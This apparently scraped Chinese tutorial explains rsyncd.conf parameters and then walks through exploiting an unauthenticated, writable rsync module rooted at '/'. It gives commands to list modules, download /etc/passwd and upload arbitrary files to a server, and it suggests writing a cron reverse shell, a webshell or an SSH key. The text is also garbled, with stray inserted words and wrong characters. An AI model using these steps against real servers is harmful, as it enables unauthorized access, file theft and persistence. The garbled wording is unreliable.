rsync,remote synchronize顾名思意就知道它是一款实现远程同步功能的软件,它在同步文件的同时,能够保持原来文件的权限、时间、软硬连接等附加信息。 rsync是用 “rsync 算法”提供了一个客户机和远程文件服务器的文件同步的快速方法,并且能够经过ssh方式来传输文件,这样其保密性也很是好html
配置文件 rsyncd.conf 由全局配置和若干模块配置组成。通常在/etc/rsyncd.conf
配置文件的语法为:算法
参数 | 说明 |
---|---|
uid | 此参数指定与该模块之间的文件传输的用户名或用户ID |
gid | 此参数指定在访问模块时将使用的一个或多个组名称/ID |
use chroot | 若为 true,则 rsync 在传输文件以前首先 chroot 到 path 参数所指定的目录下。这样作的缘由是实现额外的安全防御,可是缺点是须要 root 权限,而且不能备份指向 path 外部的符号链接所指向的目录文件 |
max connections | 指定该模块的最大并发链接数量以保护服务器,超过限制的链接请求将被告知随后再试 |
syslog facility | 指定 rsync 发送日志消息给 syslog 时的消息级别 |
pid file | rsync 的守护进程将其 PID 写入指定的文件 |
log file | 指定 rsync 守护进程的日志文件,而不将日志发送给 syslog |
path | 指定当前模块在 rsync 服务器上的同步路径,该参数是必须指定的 |
comment | 给模块指定一个描述,该描述连同模块名在客户链接获得模块列表时显示给客户 |
read only | 指定是否容许客户上传文件。若为 true 则不容许上传;若为 false 而且服务器目录也具备读写权限则容许上传 |
auth users | 指定验证用户名,能够不设置,不设置默认不用密码,设置的话安全性更高点 |
secrets file | 指定密码文件,若是设定验证用户,这一项必须设置,设定密码权限为400 |
hosts allow | 设置能够容许访问的主机,能够是网段,多个Ip地址用空格隔开 |
uid = root
gid = root
use chroot = no
max connections = 4
syslog facility = local5
pid file = /var/run/rsyncd.pid
log file = /var/log/rsyncd.logshell[src]
path = /
comment = src path
read only = no安全
由配置文件,咱们能够访问path所指定目录之外的目录,该配置还定义了一个src模块,路径指向根目录,并且可读可写,最重要的是没有设置用户名,如此便无需密码直接访问服务器
查看可用模块
rsync 192.168.122.1::
rsync rsync://192.168.122.1:873/
rsync rsync://192.168.122.1
并发
列出模块下文件
rsync 192.168.122.1::src
rsync rsync://192.168.122.1/src
ssh
下载任意文件
rsync rsync://192.168.122.1/src/etc/passwd ./
rsync 192.168.122.1::src/etc/passwd ./
ui
上传任意文件
rsync x.txt rsync://192.168.122.1/src/home/
rsync x.txt 192.168.122.1::src/home/
日志
而后能够写入了一个cron任务,反弹shell,有Web服务的话,能够写WebShell,或者写ssh公钥等code
参考:
rsyncd.conf